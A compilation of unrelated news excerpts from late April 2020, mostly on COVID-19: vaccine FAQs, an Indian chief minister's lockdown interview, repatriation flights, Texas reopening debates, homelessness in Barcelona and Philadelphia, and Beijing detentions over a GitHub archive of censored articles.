positive cases, 24 have recovered. The situation in our state is under control compared to other states. COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show Track this blog for latest updates on the coronavirus outbreak Q. What will be your strategy to open up businesses post-lockdown? A. The state has abundance of steel, cement and coal-based industries. In order to bring the country's economy back on track, it is necessary to operate these industries smoothly. The state government will provide all facilities to steel, cement and coal-based industries so that they can resume production. We have also requested the central government to provide relief package to these industries. I am confident that in the next few months, these industries will be back on track. Q. How are you planning to ease the problems being faced by daily wage earners and migrant labourers? A. There is no doubt that this section of the society is facing the brunt of lockdown. We have been taking all possible measures to help them in our state. I have always reiterated that I will not let anyone sleep hungry in Chhattisgarh. In Chhattisgarh, we have given two months of ration free to 56 lakh families. Not only this, we have also given one month's ration to those who do not even have ration cards. We have made arrangements of food and shelter at temporary camps for about 33,000 migrant workers and have taken various measures for farmers as well. We are providing them help under the Rajiv Gandhi Kisan Nyay Yojana and soon money will be transferred to their accounts. Q. How are you helping those associated with forests? A. Chhattisgarh is also a region of forest abundance. We have started the process of purchasing small forest produce at the support price. This will provide employment to forest dwellers. We will also start work under MNREGA in all districts as soon as the lockdown opens. Instructions have also been given to maintain social distancing while working. Q. Are you offering Direct Benefit Transfer (DBT) to farmers? A. Yes, we are planning on the same. Under the Rajiv Gandhi Kisan Nyaya Yojana in Chhattisgarh, we are going to disburse cash to about 20 lakh farmers. This will help them tide over this difficult period. Q. Even after bringing COVID-19 under control, there is a risk of cases reappearing as there is no vaccine as yet. How do you plan to improve the state's health infrastructure to tackle this problem? A. We are paying special attention to this aspect. Our priority is to provide better health infrastructure in each district of the state. We have also got the permission to open new medical colleges and we are taking steps towards strengthening these services in tribal areas. We have already launched Suposhan Chhattisgarh Abhiyaan to improve immunity of people. Haat Bazaar Clinic Scheme is one such step towards taking health services to remote areas. We are also providing insurance cover to every section of the society in Chhattisgarh through Dr Khubchand Baghel Health Insurance Scheme and Chief Minister Special Health Scheme. Q. What kind of assistance have you received from the Centre and what more are you expecting? A. We are getting help from the Centre in some areas and we are hopeful that the it will provide assistance to state governments in many other areas also. Right now, the priority is to curb the spread of COVID-19. It will be a long fight and for this, we not only have to generate new resources but also preserve the existing resources for longer time. The Centre will have to provide financial assistance to states. I have also written a letter to Prime Minister, requesting him to provide relief package to states. Follow our full coverage of the coronavirus outbreak New Delhi/IBNS: COVID-19 has emerged as the great unifier of the Hindus, Muslims, Sikhs and other faiths in India reinforcing the secular credentials of the nation which in recent months had witnessed communal tensions over a citizenship law and protests. Even as international media chose to highlight the divide, which even got an impetus from a religious gathering in New Delhi spiking the spread of coronavirus, what emerges out of the crisis over time is a coming together of communities to fight the virus unitedly. So super spreaders of the disease turn into super savers, religious shrines feed thousands everyday irrespective of faith and police in trouble-torn Kashmir aid residents like never before. With the COVID-19 outbreak emerging as a much bigger challenge, the communities in India are collaborating to fight the disease burying their recent differences over new laws and a series of moves by the ruling government that people were debating for long. While a gathering of Muslim people during an event in Delhi is one of the major causes behind the COVID-19 spread in the nation, the people and the political parties have responded with restraints despite a section of foreign media choosing to highlight Islamophobia. In reality an overwhelming majority of Indians are fighting the disease forgetting their communal divide. Reports suggest around 2000 to 3000 preachers from India and abroad had congregated at the event of Tablighi Jamaat in mid-March, just days after the Delhi government had banned the gatherings of 200 people at any place in the wake of the Coronavirus outbreak. Tablighi Jamaat is an Islamic missionary movement that focuses on encourging Muslims to return to practising their religion as it was practised during the lifetime of Prophet Muhammad The Indian Health Ministry has also affirmed that the spike in COVID-19 cases was partly due to the Jamaat event. While initial reactions to their gathering were strong, India's inherently secular ideals soon overpowered it. In fact, the men who had participated in the gathering are now s a ray of hope for people of Delhi in their fight against the lethal virus. Many of these men have offered to donate plasma for serious Covid-19 patients. They made the move after Delhi CM Arvind Kejriwal appealed to all people, regardless of religion, who have recovered from the coronavirus disease, to come forward and donate plasma for serious Coronavirus patients. Now, Tablighi Jamaat men have earned appreciation on social media for their efforts to join the fight against the contagion. Once dubbed as 'Super Spreaders' by a section of media, they have become 'Super Savers' for the critically ill patients affected by Covid-19, reported Mumbai Mirror. Image: A member of the Tablighi donating plasma for Covid-19 patients Sources in the Delhi Health Department have told the newspaper that of 1,068 Coronavirus positive Tablighis in Delhi hospitals, around 300 (who have recovered after testing double negative) have decided to donate plasma to severely ill patients in the capital. Away from this chapter, several chapters of Hindu-Muslim unity and their joint fight against the disease have now emerged. One such incident could be seen in Madhya Pradesh, where due to lack of vehicles available amid lockdown, a Hindu woman's bier was carried by her Muslim neighbours to a cremation ground. Draupadi Bai, 65, a poor woman who was suffering from paralysis and living with her elder son, died at her residence in South Toda area of Indore on Monday. According to a Gulf News report, the Muslim neighbours came to the resuce as they wore masks and carried her bier to the cremation ground, a picture of India's strong communal harmony which prevails at a time when humanity is facing its deepest crisis and battle for survival. According to media reports, the Sikh community is shining too during the crisis and even Prime Minister Narendra Modi acknowledged their contribution. They are feeding countless people every day and one such gurudwara is the Gurudwara Bangla Sahib in New Delhi. "Our Gurudwaras have been doing exceptional work in serving people. Their compassion is appreciable," tweeted Prime Minister Modi as the Delhi Police showed their respect with a parikrama (the action or ritual of moving clockwise round an object of devotion as an indication of reverence) of Gurudwara Bangla Sahib in Delhi with a cavalcade of motorcylces and sirens. Good gesture by the @DelhiPolice. Our Gurudwaras have been doing exceptional work in serving people. Their compassion is appreciable. https://t.co/hdTn6vDFtj Narendra Modi (@narendramodi) April 27, 2020 The Bangla Sahib in the heart of New Delhi has been feeding around 75,000 people every day. Jammu and Kashmir The Jammu and Kashmir Police (JKP) has been offering a helping hand in Baramulla and Srinagar and other locations in Kashmir which was itself under lockdown for months following the scrapping its special status (Article 370) last year. On April 10, in view of Covid-19, when strict restrictions were continuing across the District of Baramulla like other parts of valley, at about 2130 hours the Deputy Superintendent of Police Hqrs Baramulla while performing his duties at Tehsil Chowk Baramulla received a distress call from a non-local resident namely Rakesh. The caller was seemingly very upset and said that his wife is suffering from acute breathlessness and needs immediate medical attention. The officer immediately shared the emergency and address with district administration but due to some unknown reasons the said patient was not be attended immediately. However, sensing the nature of emergency, DySP Hqrs Baramulla alongwith his team and a police vehicle rushed to the spot. Subsequently the patient was immediately shifted to District Hospital Baramulla for treatment. The distressed family expressed gratitude for the immediate action by Baramulla Police that helped to save a precious life. Similar incidents are reported across the district. Of distress calls and police rushing to rescue of people in a region that has been for decades only witnessed Pakistan-sponsored terrorism and Indian security forces' responses, leaving people at the receiving end. Cut to Srinagar. Police are facilitating ration distribution among the poor and needy while ensuring proper social distancing. Srinagar police distributed food items among the needy persons at their door steps in the area of interior Dal. Srinagar police also facilitated distribution of ration ensuring proper social distancing. Continuing its efforts to reach out the needy people, Police have distributed food items after they received SOS message from a citizen about a family without Ration. The said family was immediately contacted and needful help was provided. Srinagar police after receiving information that a pregnant lady residing in the nearby area has developed irresistible pain and needs immediate medical attention. rushed to the spot and took her to L.D Hospital for medical treatment. Continuing its good work, Srinagar Police distributed ration kits among the needy non local labourers and local families in their respective areas. A foreign man runs into the international terminal at Tan Son Nhat Airport, HCMC, March 13 2020. Photo by VnExpress/Quynh Tran. 37 Indonesian citizens stranded in Vietnam flew home Monday via a special flight costing $278 a person, a discount from the normal $385. They departed Vietnams Tan Son Nhat International Airport in Ho Chi Minh City via a Vietjet Air flight, Jakarta Post reported. The repatriation flight carried the Indonesian citizens who had visited Vietnam for internships, traveling as well as workers laid off due to Covid-19. They had been stranded in the country for the past month due to travel restrictions imposed by the Vietnamese government to curb the spread of the pandemic. Indonesia is currently the second largest Covid-19 hotspot in Southeast Asia, following Singapore. The country has recorded more than 9,000 Covid-19 cases and 765 deaths. On Sunday, 105 Vietnamese nationals stuck in Indonesia were repatriated on a Vietjet Air flight that landed at Can Tho International Airport in Mekong Delta. Passengers all paid their own fares. Earlier this month, 31 Indonesian crew members of two cargo ships that docked at Quang Ninh Port in northern Vietnam since mid-March were repatriated after finishing their 14-day quarantine. Over 3,000 foreign tourists are stuck in Vietnam but only 11 percent wish to go home immediately, earlier reports revealed. After Vietnam halted all international flights as a preventive measure to contain the spread of the novel coronavirus, many countries have organized special flights to repatriate their citizens. The Philippines Embassy repatriated 143 people last week. Earlier, hundreds of Europeans including British, Germans and Italians were also sent home from Vietnam. San Antonio businesses shuttered by COVID-19 should not reopen until new cases have declined for at least two weeks and all residents with symptoms of the disease can be tested along with their close contacts, a panel of local public health experts says. Those criteria had not been met as of Tuesday a day after Gov. Greg Abbott gave most businesses in Texas a green light to reopen partly on Friday. Nonetheless, Dr. Barbara Taylor, an infectious disease specialist who leads the local health team advising city and county officials, was optimistic about Bexar Countys progress. As far as our progress indicators, we are actually in a pretty good place, Taylor said during a special meeting with the City Council and Bexar County Commissioners Court. And I say that cautiously. The county had 38 percent of its hospital beds and 77 percent of its ventilators available Tuesday, officials said. Taylor added that the county has seen a decrease in the number of new cases although this drop is not sustained. As far as testing and contact tracing, were not yet where we want to be, Taylor said, but were getting a lot closer. More Information Expert advice on reopening The COVID-19 Health Transition Team listed four signs that local officials are "effectively addressing" the epidemic and that would allow businesses to begin reopening: A sustained decline in the number of new cases of COVID-19 for two weeks. The ability to perform tests for the virus in all people with symptoms of COVID-19, their close contacts, and those in "public-facing" roles such as grocery store workers. Effective contact tracing capacity to identify all close contacts of people diagnosed with COVID-19 and offer them testing. A prepared healthcare system that can safely care for all patients, including sufficient hospital capacity, workforce, and PPE for healthcare workers. See More Collapse Mayor Ron Nirenberg and County Judge Nelson Wolff assembled the local COVID-19 Health Transition Team to guide a safe reopening here, even as Abbotts Strike Force to Open Texas has pushed ahead with its accelerated timeline. The governors order supersedes any conflicting orders by the city and county. While Nirenberg and Wolff ordered the closure of nonessential businesses last month to limit the spread of the virus, the governors order will allow the reopening of restaurants, movie theaters and malls at limited capacity. But some local restaurateurs remain too wary of the highly contagious virus even to consider reopening. Its ludicrous, chef Andrew Weissman said of the low level of testing for the virus. I have no desire to even attempt to reopen dining rooms. Im not willing to risk my family or the employees or the guests that trust us. The pandemic forced the closure of La Cantera restaurant Signature, Inspired by Chef Andrew Weissman, and caused Weissman to resort to curbside takeout at his popular burger joint Mr. Juicy. But even if the governor were to allow a higher occupancy level at restaurants, Weissman would remain reluctant to reopen, he said. I agree with the mayor and Judge Wolff I think that theres got to be at the very least two weeks (of a drop in new cases), Weissman said. Im looking for more of an elimination pathway. Everybodys talking about two weeks, but I want to see complete elimination, man. A sustained drop in new cases continues to elude Bexar County, where new daily cases spiked from 14 to 51 at one point last week. On Tuesday, there were 1,307 confirmed cases in the county, up 32 from 21 new cases Monday. Testing and contact tracing in the county are inadequate, experts say. Taylors team wants to see at least 3,000 tests a day about twice the current capacity and at least 175 investigators tracing the contacts of those who test positive here in order to break the chain of transmission of COVID-19. About 87 investigators now are engaged in contact tracing at any given time here, finding and testing the recent contacts of anyone who tests positive for the disease. For safe reopening, we recognize that our community needs more education about COVID-19, improved access to testing for COVID-19, and an expansion of our existing public health capacity for contact tracing and follow up, a report by the team said. Anyone older than 2 should be wearing a mask in public, the report said. Despite warnings by public health officials that the virus is spread widely by people with no symptoms, Abbott has declined to require Texans to wear facial coverings. Abbott told KENS-5 on Tuesday that it was bizarre for officials to threaten the barefaced with jail time while at the same time releasing nonviolent offenders from jails to limit the spread of the virus. Thats what Texas is all about respecting individual liberty, Abbott told the news station. Nirenberg said Tuesday that the local order requiring masks still is in place, even though officials no longer can assess fines. We can also work with businesses to make it clear that we have a mask order and that they are permitted to refuse services to people who come to their establishments without masks, he said. Despite the governors precedence, Nirenberg said he expects local businesses to follow local guidance. The governor set minimum standards, the mayor said. So part of our effort is to emphasize best practices as best we can, even if some of those are not mandates, but we create ways to encourage safe practices hygiene, sanitation, physical distancing, etc. The recommendations of the local health transition team deviated from the governors order in another way: They very specifically lean on what we believe is public health and medically informed risk assessment to guide recommendations by sector, Taylor told city and county officials. Taylor said the risk of transmitting the virus varies by type of business and can be determined by three characteristics: contact intensity, number of contacts and modification potential. The risk of transmission at gyms and restaurants, for instance, was ranked equally across all three measures. While Abbott gave a green light for restaurants to reopen at 25 percent occupancy, his order did not allow the reopening of gyms. The health team echoed Abbotts order in advising the gradual reopening of retail shops and restaurants by occupancy levels. In any case, Taylor said the county was still pretty far off from advancing beyond this next phase of reopening. She stressed this to city and county officials by paraphrasing the famed scientist Marie Curie. She was taught that the way of progress is neither swift nor easy, Taylor said, and I think her words particularly apply to our current COVID-19 epidemic. bchasnoff@express-news.net A 35-year-old Brazilian man has been arrested on suspicion of battering at least three homeless people to death in Barcelona during Spain's lockdown. The man was detained in Sant Cugat del Valles on the outskirts of the Mediterranean coastal city, police said. He was arrested just hours after a homeless person was found murdered in the centre, Catalonia's regional police force the Mossos d'Esquadra said. A homeless person is pictured sleeping on the ground next to his face mask in Barcelona The dead body showed signs of a violent death and was found 'in the same area where other deaths of the homeless were recorded in recent weeks,' a force spokeswoman added. The man had suffered a blow to the head, as did the other two suspected victims, news radio Cadena Ser reported. Police said they had identified the suspect with the help of descriptions provided by witnesses and security camera footage. The 35-year-old man was arrested by police in Sant Cugat del Valles, a town and municipality north of Barcelona in Catalonia Joan Carles Granja, the officer in charge of the investigation, told a news conference: 'The way this person behaved did not leave his victims any way to defend themselves. The violence was excessive and gratuitous. 'These homicides on the streets of homeless people have ended,' he added. The man, who has not been named, was previously arrested for theft in Zaragoza, around 155 miles west of Barcelona. 'He was a bit incoherent, we don't rule out that he has some mental problem,' Granja said. The streets have been largely deserted since the government imposed a lockdown on March 14. Residents are only allowed outside only to go to work if they can't work from home, to buy food and medicine and to briefly walk their dog. Like other Spanish cities, Barcelona established shelters for the homeless during the lockdown but many have preferred to continue to live on the streets. Four homeless people have been killed in Spain's second city since March 19. Three were murdered in the last two weeks and all suffered blows to the head. Rows of bunks bed at the pavilion at Fira de Barcelona, Montjuic Hill final preparations were made to help accommodate homeless people Local media said one of the deaths was linked to a fight between homeless people. Spain has so far seen 232,000 cases of coronavirus - second only to the US - and almost 24,000 deaths, behind only Italy. The country is set to announce easing its lockdown strategy today, including announcing when bars and restaurants may be allowed to reopen. It comes after children were allowed to go outside the home this week for short walks, after previously banning them from leaving the house for any reason. Many migrants were fired amid fears they would spread the coronavirus or incriminate those who hired them irregularly. Rome, Italy On March 9, Natalia, a 50-year-old Ukrainian woman who provided care for an elderly Italian in Rome, went home after work as usual. But the next day, she did not return. That night, Prime Minister Giuseppe Conte declared a national lockdown and Natalia found herself jobless. Like other poor immigrants, she works without a contract and after Contes announcement, the family of her employer texted her to say do not show up to work tomorrow. I had heard of an epidemic in China, but China is far away, she said. In theory, the lockdown allowed housekeepers, babysitters and caregivers to go to work, but they were required to carry a statement from their employers. Natalias boss would not issue such a statement. They were afraid that the police would find out that I am working without a regular contract, she said. She was suspended without pay. Italy is now eyeing easing the lockdown, but as it was experiencing one of the worlds deadliest coronavirus epidemics, immigrant caregivers were particularly vulnerable. Italy has one of the worlds oldest populations, with more than two million people aged 82 or above. Such a large number of senior citizens, some of whom are no longer self-sufficient, requires the services of two million professional caregivers, according to Osservatorio Sul Lavoro Domestico, an institute monitoring domestic work. Caring for the elderly is a demanding, poorly paid, job, largely carried out by women from Eastern Europe, especially Ukraine, Romania and Moldova. According to our report, 58 percent of domestic workers are working irregularly, without a proper contract, said Massimo De Luca, a lawyer at the Osservatorio. Amid the pandemic, without any legal protection, many have lost their income. Some families have suspended their staff out of fears they could spread the coronavirus to the elderly, who are at high risk of the COVID-19 disease. Other families, as in Natalias case, feared incrimination if police checked up on their cases. 190212095729357 Before the lockdown, Natalia earned about 1,300 euros ($1,400) a month, half of which was used to pay the rent for a small house on the outskirts of Rome where she lives with her husband, a bricklayer, who has also been forced to stay at home in the lockdown. Luckily, she said, they had some savings. But the worst part is not knowing what the future holds for us. Because her status is irregular, Natalia was unable to receive any benefits unlike employees with formal contracts who have either still received pay from employers or government subsidies. Experts say that many immigrants in Italy have few alternatives. 200423162822508 If you dont have a residence permit, you cannot be regularised, said Luciana Mastrocola, an official of the union of domestic workers, FILCAMS CGIL. Caregivers are the most fragile category on the Italian job market and at the moment they have no income support. She noted that, in the past, Italy used to declare amnesties to undocumented immigrants working as housekeepers and caregivers, but the instance of this dates back to 2012. Right now caregivers lack any protection, said Alfonso Angrisani, who heads Alec (Association of non-EU and community workers), a group advocating for migrant workers rights which has set up a hotline for domestic workers in difficulties. Were getting so many calls from people who dont know what to do. Angrisani said many unemployed caregivers have been trying to return to their home countries, but this has not always been possible since borders were closed. According to Italian news reports, in March, two buses carrying Ukrainian migrants who were trying to go back home was blocked at the border with Slovenia, since the Balkan country had closed its border with Italy. Many of those who are jobless and cannot go back to their countries are becoming homeless or turning to homeless shelters, said Angrisani. This situation hit Maria (not her real name), a 47-year-old Romanian woman who used to work as a caregiver in Venice. She found herself jobless and homeless in February. The elderly woman she cared for at her house was moved to a nursing home when the outbreak began and no one else would hire her, because of the virus. I had no job and I could not pay the rent, I was desperate, said Maria. I used to send most of the money back home to my daughter, whos a single mother with a young boy. Without any savings, Marias only choice was to go back home: a friend lent her 300 euros ($326) to board a special flight organised by the Romanian embassy. Back in Romania, her entire family is now living on her elderly mothers slim pension. I hope to return soon to Italy, said Maria. I need to earn money for my daughter and my grandchild. For too long, people from various religious traditions have claimed to have the ability to heal all kinds of diseases, including malaria, diabetes, hepatitis, and HIV/AIDS. Self-acclaimed godmen and women have organized healing/prayer sessions where they supposedly got rid of illnesses through faith and prayers. This ability, if proven to be effective, could be an enormous resource at a time like this when the world is trying to contain a vicious pandemic, that is ravaging many parts of the world. This month, the Malawi Revenue Authority has become the latest WCO Member to benefit from the WCOs Anti-Corruption and Integrity Promotion (A-CIP) Programme for Customs. This completes the addition of six new partner administrations to the Programme following the expansion of funding received from Norad at the end of 2019, bringing the number of administrations supported by the Programme to 17. Malawis joining of the WCO A-CIP Programme comes at an important time for anti-corruption efforts. The link between heightened corruption and times of crisis is well known, therefore the WCO is making every effort to adapt programming in light of the COVID-19 and will continue to provide technical assistance and capacity building support to its partner administrations combatting corruption during this period of vulnerability. Experiences and lessons learned from the WCO A-CIP Programme are being included, as appropriate, in the WCOs wider support to Members seeking to improve governance and integrity in Customs. For more information about the WCO A-CIP Programme, please visit the WCO A-CIP Programme page, or contact capacitybuilding@wcoomd.org. Daniel Schroeder (left) and Ariana Kemecak, a homeless couple who have been living on the streets of Kensington since January, at Kensington Avenue and Tioga Street in Philadelphia. Its hard even without the virus to find a couples shelter, Schroeder said. Read more Before the coronavirus pandemic hit, Daniel Schroeder and Ariana Kmecak believed they were on track to get their lives back the house, the job, the recovery. The death of their infant son had upended them just months before. In August, at only 5 days old, Jax Schroeder had died of meconium aspiration syndrome, a birth complication that, in rare cases, can be fatal. In their grief, Schroeder and Kmecak, who were years into recovery from opioid addiction and thrilled to be parents, relapsed. By that winter, the couple were homeless on the streets of Kensington. Over the next few months, they cobbled together a shaky support system: rest at drop-in centers for homeless people during the day, earn money by trash-picking, get food from the many outreach programs that handed out meals in the neighborhood. In February, they started suboxone, the addiction-treatment drug that helps people with opioid addiction quell cravings. One big positive step, Schroeder, 37, said. But when the virus hit, that support system crumbled virtually overnight. Food programs dwindled. Drop-in centers were forced to close their doors because patrons could not safely socially distance inside. Now the couple spent their days walking for hours to pass the time. One evening last week, Kmecak, 28, sat down on Kensington Avenue, all her belongings next to her in a bag. Before the virus, she would have stopped in at one of the avenues drop-in centers. But now, exhausted, she fell asleep and woke up to find her bag gone, stolen. Kmecaks heart dropped. Inside the bag, she had been carrying the small urn that held her sons ashes. A slow city response Kmecak and Schroeders experiences over the last month mirror those of others on the street as the pandemic has changed Philadelphia. City officials have scrambled to find ways to help the citys most vulnerable populations the homeless, the addicted, the mentally ill as the virus spreads. But a month into the pandemic, many of those efforts are still getting off the ground, and advocates say not nearly enough is being done for people who dont have a home to quarantine in. A 168-bed quarantine center at a Holiday Inn in Center City, which the city is renting for $170,000 a month, is limited only to people who test positive for COVID-19 or are showing symptoms. The city expects to open a second quarantine site at a Fairfield Inn in Philadelphia on Wednesday. Neither site has the medical staff necessary to quarantine people with significant medical needs, or serious mental illnesses or addictions that make it difficult to stay in one place. Other large medical facilities, like the Liacouras Center field hospital at Temple University, are also off-limits to people with serious behavioral or addiction issues. Quarantining people "with the most difficult and challenging behaviors for those suffering mental illness or maybe in the throes of [addiction withdrawal] we have not resolved that issue, which is not to any of our satisfaction, said Brian Abernathy, the city managing director. These are incredibly difficult times for all of us, and I think the city is doing everything we can to provide support and safety nets for not just our shelter population but everyone. Im not going to deny any of the criticisms we havent done enough. Thats fair. But the fact that the city is the only one providing the resources says a lot about our current systems as well. Liz Hersh, the director of the office of homeless services, echoed Abernathy: I think [the pandemic has] really shone a bright light on these deep inequities and really these huge fissures in our society, that we have all these people who cant provide this basic care for themselves." Last month, city officials said they were looking to set up a 24-hour drop-in center in Kensington for homeless people with addiction who cannot quarantine. That hasnt happened yet. COVID-19 testing services in the neighborhood, which has one of the highest homeless populations in the city, were set up only last week, nearly a month after the citys first public testing site opened in South Philadelphia. The citys shelters have had to decrease capacity to allow people to safely socially distance. Shelters for families and women are 90% full; mens shelter capacity varies day by day, and Hersh said the city has kept open beds that are normally reserved for the winter months to try to get more people safely inside. Now homeless outreach workers are contending with their clients fear of the virus as well as their fear of remaining outside. Theyre talking about their fears about whats going on. For the most part, they want somewhere to go. They need somewhere to go, said Yulanda Fitzgerald, acting administrator at the Roosevelt Darby Center, a homeless intake site on North Broad Street that places people in shelter beds. We try to do our best [to comfort them]. At the center last Friday, about 15 men sat slumped in hard plastic chairs, waiting for appointments with a social worker. Everyone wore a mask. Instead of meeting face to face, clients sat in a cubicle and talked over a speaker phone with the centers staff who were sitting in their own cubicles, one floor up. Where did you stay last night? a security guard asked an older man clutching a change of clothes in a plastic bag. He replied, The hospital. Hoping for a home Some people on the street, like Schroeder and Kmecak, are still wary of the shelter system especially during the pandemic. Four shelters in the citys system have seen coronavirus outbreaks, Abernathy said, although no one currently in city shelters is positive for the virus. Emergency shelter for couples is generally hard to come by, and Schroeder and Kmecak say they are afraid of being split up in separate shelters. Its hard even without the virus to find a couples shelter, Schroeder, whos originally from Philadelphia, said. (Kmecak is from Johnstown, Pa., where the couple met.) And were always together. We dont want to break the team up. But we would love to have a home base." FAQ: Your coronavirus questions, answered. Though the pandemic has changed their lives, theyre trying to maintain a sense of routine. They walk. They try to trash-pick for cash. Theyre hoping to scrounge up enough money for a few nights in a hotel room, if they can find one thats open. They want to find jobs but are unsure how to apply or get to work with nowhere to rest, or shower, or store their belongings. And they have been searching for their sons ashes, asking anyone in Kensington who might have come across the urn a small blue box, shaped like a heart. Staff writer Mike Newall contributed to this article. The Philadelphia Inquirer is one of more than 20 news organizations producing Broke in Philly, a collaborative reporting project on solutions to poverty and the citys push toward economic justice. See all of our reporting at brokeinphilly.org. Source: Xinhua| 2020-04-28 12:24:02|Editor: huaxia Video Player Close NEW DELHI, April 28 (Xinhua) -- India's federal health ministry Tuesday morning said 48 new deaths due to COVID-19, besides fresh 1,055 positive cases were reported since Monday evening across the country, taking the number of deaths to 934 and total cases to 29,435. "As on 8:00 a.m. (local time), today 934 deaths related to novel coronavirus have been recorded in the country," according to the information released by the ministry. On Monday evening, the number of COVID-19 cases in the country was 28,380 and the death toll was 886. According to ministry officials, so far 6,869 people have been discharged from hospitals after showing improvement. "The number of active cases in the country right now is 21,632," the information said. Tuesday marks the 35th straight day of ongoing lockdown across the country announced by the government to contain the spread of the pandemic. The lockdown which was announced on March 25 has been extended until May 3. On Monday, during the video conference interaction with Chief Ministers, Indian Prime Minister Narendra Modi indicated that the COVID-19 lockdown could continue beyond May 3 in areas that have been identified as pandemic hotspots. Meanwhile, the federal health minister Harsh Vardhan has directed authorities of All India Institute Medical Sciences (AIIMS) and other premier medical institutions to take proactive measures to combat COVID-19 in their respective states. Vardhan also asked them to create awareness among the society that there should be no stigma related to COVID-19 patients and frontline healthcare workers. Enditem Buendia, 27, went to work. She suited up, strapping on her N95 mask, face shield, gown and apron and taping down her gloves, too numb to process the fact that her aunt had lost her life doing what she was about to do. It wasnt until a few hours later, as she tended to a patient suspected to have the virus, that it became real and she burst into tears. Authorities in the Chinese capital are holding three people in connection with the online storage of content censored by the ruling Chinese Communist Party, including posts and articles about the early days of the coronavirus epidemic, on a page hosted by the coding site GitHub. Chen Wei, Cai Wei, and a woman surnamed Tang have been incommunicado since April 19 after they were taken away by police in Beijing's Chaoyang district, their family members said. Cai and Tang were initially held on suspicion of "picking quarrels and stirring up trouble," according to Chen Wei's brother Chen Kun. He said it was unclear what charge, if any, Chen Wei was being held on. All three had worked as volunteers during the coronavirus epidemic. Cai and Tang's families have received notification that they are being held under "residential surveillance at a designated location," which enables police to deny visits from family or lawyers for up to six months, while holding someone in an unknown location. Guo Yuhua, sociology professor at Beijing's prestigious Tsinghua University, said Cai was once her student. "Cai Wei was a research student in our department, and graduated in 2018," Guo said. "I thought he was an incredibly well-behaved young man who didn't like to talk much, and who would be highly unlikely to go picking quarrels and stirring up trouble." "I don't believe that he did any such thing," she said. "If they're going to hold him under residential surveillance at a designed location, they should show some evidence." Guo said she didn't believe saving censored articles should be a problem. "Why are they allowed to delete stuff but the rest of us aren't allowed to save it?" she said. "Why are they allowed to cover up stuff but other people aren't allowed to record and reveal it?" Preserving deleted articles The Terminus 2049 Project is built on the GitHub open platform for the purpose of backing up deleted articles on platforms such as WeChat and Weibo, according to the introduction on the website. "Started in January 2018, it mostly consists of deleted articles backed up by WeChat users and media reports on hot topics," the introduction says. Former NGO worker Yang Zhanqing, who has served jail time for his rights activism, said the three had likely been detained in connection with the site. "The Terminus 2049 project uses decentralized technology to back up various media articles and Weibo and WeChat posts that have been deleted and blocked in China," Yang said. "Since the start of the coronavirus epidemic, the website has backed up a lot of official media reports that were deleted during the epidemic, as well as a large number of media articles," he said. Some articles had touched on genetic testing relating to the coronavirus, or other politically sensitive topics like the death toll in Wuhan's nursing homes and the eviction of migrant workers from elsewhere in Hubei province. "A lot of the content can be used to confirm the inconsistency of official narratives," Yang said. "So the government thinks it is anti-government." "I think that the sensitivity of this website is the main reason that these three people are now incommunicado." He said various attempts to sue Beijing for compensation over the coronavirus pandemic had made the topic of its origins and an official cover-up of human-to-human transmission even more sensitive for the ruling party. According to Reuters, Chens family has yet to receive any formal notification of his detention from the police, although an officer had told his brother that he is "cooperating with an investigation." Reported by Gao Feng for RFA's Mandarin Service. Translated and edited by Luisetta Mudie. Dr Alex George was left in tears after the UK held a minute's silence to honour key workers who have lost their lives to coronavirus. The A&E doctor took to Instagram on Tuesday to discuss the impact the death of a colleague has as they continue to treat patients with COVID-19. The 30-year-old former Love Island star shared a picture with a colleague inside University Hospital Lewisham as he penned: 'WE WILL NEVER FORGET YOU'. Powerful: Dr Alex George was left in tears after the UK held a minute's silence to honour key workers who have lost their lives to coronavirus Dr Alex continued: 'A minutes silence to pay respect to all of the NHS staff and carers who have lost their lives in the fight against the coronavirus. 'The bravery, strength and determination you showed to save the lives of others will never be forgotten. I cant help but be moved to tears writing this. 'A death of a colleague shakes the entire NHS family. In time I hope and expect to see your sacrifices be recognized in full. 'For now we stop and honour you. Rest in peace.' Hard at work: The A&E doctor took to Instagram on Tuesday to discuss the impact the death of a colleague has as they continue to treat patients with COVID-19 People across the UK paused in a sombre nationwide tribute at 11am on Tuesday to the sacrifice made by those on the frontline, in roles ranging from doctors and nurses to carers, cleaners, porters and bus drivers. More than 100 NHS and social care workers have lost their lives. Workers in other key sectors such as transport are also among those who have died while carrying out their vital work during the pandemic. Lockdown lapse: Dr Alex's powerful post came after he admitted to breaking lockdown rules by inviting his 'homeless' friends to live with him amid the coronavirus pandemic Dr Alex's powerful post came after he admitted to breaking lockdown rules by inviting his 'homeless' friends to live with him amid the coronavirus pandemic. In an Instagram post shared on Monday, the healthcare professional reassured his fans he and his new housemates are still following the UK government's social distancing advice by using different bathrooms. The TV star confessed that while they'll be using separate amenities, he enjoys having someone at his new home after spending weeks alone. He previously revealed that he was struggling with staying apart from his girlfriend Amelia Bath amid the pandemic. Initial AFRICOM Civilian Casualty Assessment Quarterly Report As part of the command's fundamental commitment to transparency, U.S. Africa Command is implementing a quarterly report on the status of ongoing and completed civilian casualty allegations and assessments. By U.S. Africa Command Public Affairs, United States Africa CommandStuttgart, Germany Apr 27, 2020 Initial AFRICOM Civilian Casualty Assessment Quarterly Report Civilian Casualty Reporting As part of the command's commitment to transparency, U.S. Africa Command is implementing a quarterly report on the status of ongoing and completed civilian casualty allegations and assessments. This initiative was directed by U.S. Army Gen. Stephen Townsend, commander, U.S. Africa Command, to increase transparency regarding civilian casualty allegations that are reported to the command while demonstrating the U.S. military's constant commitment to minimizing collateral damage in the pursuit of military operations. "Since taking command I have placed additional focus on increasing the transparency of our 